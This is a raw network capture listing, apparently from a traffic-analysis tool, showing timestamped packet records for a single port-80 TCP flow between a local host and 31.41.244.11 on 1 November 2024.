Nov 1, 2024 10:57:10.728516102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728527069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728533030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728537083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728548050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728559017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728566885 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728581905 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728591919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728615999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728626966 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728637934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728656054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728661060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728667974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728678942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728688002 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728693008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728703976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728713989 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728718042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728732109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728743076 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728744984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728754044 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728781939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728789091 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728929043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728940010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728950024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728960991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728967905 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728971958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728984118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728991032 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728995085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729003906 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729007959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729021072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729022026 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729053020 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729077101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729079962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729089022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729099035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729109049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729119062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729124069 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729140043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729149103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729151011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729175091 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729203939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729228020 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729239941 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729249001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729259968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729270935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729275942 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729283094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729293108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729302883 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729305983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729314089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729317904 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729326963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729347944 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729361057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729374886 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729378939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729391098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729409933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729418039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729420900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729434013 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729434013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729445934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729456902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729464054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729466915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729479074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729490042 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729495049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729506969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729506969 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729517937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729528904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729541063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729547977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729558945 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729563951 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729569912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729579926 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729582071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729593039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729604959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729607105 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729656935 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729929924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729940891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729949951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729959011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729969978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729979038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.729988098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.729994059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.730000019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.730010986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.730015993 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.730021954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.730035067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.730043888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.730045080 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.730057001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.730067968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.730068922 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.730079889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.730089903 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.730091095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.730104923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.730114937 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.730115891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.730130911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.730139017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.730140924 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.730151892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.730181932 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.747360945 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.747373104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.747380972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.747426987 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.747442961 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.747452974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.747462034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.747479916 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.747507095 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.790664911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.790782928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.790868044 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.814511061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814523935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814534903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814551115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814563036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814574003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814584017 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.814587116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814605951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814618111 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814627886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814635038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814640999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814640999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.814656019 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.814688921 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.814721107 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814732075 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814743042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814754963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814769030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.814773083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814785004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814789057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.814798117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814811945 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.814834118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814846039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.814846039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.814870119 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.814899921 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815043926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815056086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815089941 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815099955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815110922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815123081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815144062 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815170050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815196037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815207005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815218925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815231085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815243006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815247059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815268993 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815282106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815290928 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815294981 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815325022 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815351009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815351963 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815363884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815376043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815388918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815404892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815437078 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815443993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815455914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815466881 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815475941 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815489054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815507889 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815531015 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815583944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815594912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815604925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815617085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815627098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815638065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815646887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815648079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815654993 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815671921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815684080 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815696955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815707922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815741062 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815793991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815804958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815815926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815828085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815839052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.815840006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815860987 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815885067 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.815993071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816046953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816057920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816087961 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.816096067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816107988 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.816128016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816138983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816162109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816171885 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.816201925 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.816230059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816241026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816250086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816261053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816282988 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.816310883 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.816310883 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.816382885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816394091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816401958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816411972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816421986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816425085 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.816451073 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.816462040 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.816824913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816843033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816853046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816884995 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.816941977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816951990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816961050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816972017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.816977978 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.816982031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817008972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817049026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817055941 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817059994 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817085028 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817085028 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817152023 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817153931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817166090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817210913 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817217112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817226887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817240000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817251921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817257881 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817296028 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817306042 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817339897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817349911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817358971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817369938 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817394018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817426920 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817470074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817481041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817488909 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817502975 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817514896 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817538977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817542076 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817550898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817562103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817569971 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817573071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817580938 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817589045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817600012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817615986 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817640066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817651033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817657948 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817657948 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817691088 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817719936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817730904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817739964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817758083 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817806959 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817907095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817917109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817925930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817936897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817945957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817946911 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817958117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.817974091 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.817997932 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818003893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818012953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818022013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818032026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818038940 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818043947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818054914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818063974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818077087 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818079948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818100929 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818120003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818126917 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818130970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818154097 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818162918 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818219900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818231106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818238974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818249941 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818259954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818263054 CET	49820	80	192.168.2.4	31.41.244.11
